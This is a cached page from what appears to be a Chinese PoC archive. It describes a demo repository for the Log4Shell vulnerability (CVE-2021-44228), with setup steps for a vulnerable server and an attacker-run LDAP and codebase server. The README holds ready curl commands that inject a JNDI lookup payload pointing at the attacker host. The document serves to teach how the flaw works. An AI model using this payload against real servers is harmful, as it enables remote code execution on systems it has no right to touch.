POC详情: 90d4d9419ecd735cd6973fbc8521d19c2c3434ef

来源
关联漏洞
标题: Apache Log4j 代码问题漏洞 (CVE-2021-44228)
描述:Apache Log4j是美国阿帕奇(Apache)基金会的一款基于Java的开源日志记录工具。 Apache Log4J 存在代码问题漏洞,攻击者可设计一个数据请求发送给使用 Apache Log4j工具的服务器,当该请求被打印成日志时就会触发远程代码执行。
描述
Demo to show how Log4Shell / CVE-2021-44228 vulnerability works
介绍
# Log4Shell in action

This project aims to demonstrate how the Log4Shell / CVE-2021-44228 vulnerability works.

## Requirements

You only need to have Docker installed. Ideally you have two different virtual machines. One for the _vulnerable server_ and one for the _malicious server_ that will host the malicious codebase and a LDAP server.

Optionally you have _Make_ and _Docker Compose_ installed but this is **not** necesarry since this repo also contains a `make.sh` to skip these requirements and use them from within a docker container.

## Install Docker (optionally)

If you haven't already, here are the steps to install Docker on a Debian VM. You can use these steps: https://gist.github.com/mschmnet/5d8c979920801c73e148c901a5989b46

## Download the repository

```
git clone git@github.com:mschmnet/Log4Shell-demo.git 
```

## Install vulnerable server

```
cd vulnerable-server
../make.sh run # Or you coud execute make run if you hade Make and Docker Compose installed
```

## Start malicious server

This will start a basic LDAP server and basic Python server to serve the malicious Java classes.

You need to provide the IP address or domain name where these servers will be available

```
cd malicious-server
../make.sh run CODEBASE_URL=SERVER_IP_OR_DOMAIN_NAME # Optionally make instead of ../make.sh if you had Make and Docker Compose installed
``` 

## How to attack the target server

```
curl -X GET -G --data-urlencode 'foo=${jndi:ldap://IP_OR_DOMAIN_MALICIOUS_SERVER:1389/a}' http://IP_OR_DOMAIN_VULNERABLE_SERVER/some-endpoint

```
or just 
```
curl --location --request GET 'http://IP_OR_DOMAIN_VULNERABLE_SERVER/some-endpoint?foo=%24%7Bjndi%3Aldap%3A%2F%2FIP_OR_DOMAIN_MALICIOUS_SERVER%3A1389%2Fa%7D'
```

where `${jndi:ldap://IP_OR_DOMAIN_MALICIOUS_SERVER:1389/a}` is just URL encoded


## How to stop any of them

```
../make.sh stop
```

## How to show the logs 

```
../make.sh logs 
```

## Slides

https://raw.githubusercontent.com/mschmnet/Log4Shell-demo/main/pdf/slides.pdf
文件快照
 [4.0K]  /data/pocs/90d4d9419ecd735cd6973fbc8521d19c2c3434ef
├── [4.0K]  html
│   ├── [4.0K]  img
│   │   ├── [ 60K]  apache-versions.png
│   │   └── [168K]  Log4Shell_logo.png
│   └── [ 55K]  slides.htm
├── [4.0K]  img
│   ├── [ 60K]  apache-versions.png
│   └── [168K]  Log4Shell_logo.png
├── [1012]  Makefile
├── [ 160]  make.sh
├── [4.0K]  malicious-server
│   ├── [4.0K]  codebase
│   │   ├── [ 242]  Dockerfile
│   │   ├── [ 623]  pom.xml
│   │   └── [4.0K]  src
│   │       └── [4.0K]  main
│   │           └── [4.0K]  java
│   │               └── [1.1K]  Exploit.java
│   ├── [ 298]  docker-compose.yml
│   ├── [ 236]  Makefile
│   └── [4.0K]  marshalsec
│       └── [ 522]  Dockerfile
├── [4.0K]  pdf
│   └── [375K]  slides.pdf
├── [2.0K]  README.md
├── [2.8K]  slides.md
└── [4.0K]  vulnerable-server
    ├── [ 137]  docker-compose.yml
    ├── [ 219]  Dockerfile
    ├── [ 181]  Makefile
    ├── [9.8K]  mvnw
    ├── [6.5K]  mvnw.cmd
    ├── [2.0K]  pom.xml
    └── [4.0K]  src
        ├── [4.0K]  main
        │   ├── [4.0K]  java
        │   │   └── [4.0K]  net
        │   │       └── [4.0K]  mschm
        │   │           └── [4.0K]  log4shell
        │   │               └── [4.0K]  vulnerableserver
        │   │                   ├── [ 557]  Controller.java
        │   │                   └── [ 355]  VulnerableWebServerApplication.java
        │   └── [4.0K]  resources
        │       ├── [   1]  application.properties
        │       ├── [ 466]  log4j2.xml
        │       └── [4.0K]  static
        │           └── [  90]  index.html
        └── [4.0K]  test
            └── [4.0K]  java
                └── [4.0K]  net
                    └── [4.0K]  mschm
                        └── [4.0K]  log4shell
                            └── [4.0K]  vulnerableserver
                                └── [ 241]  VulnerableWebServerApplicationTests.java

26 directories, 28 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。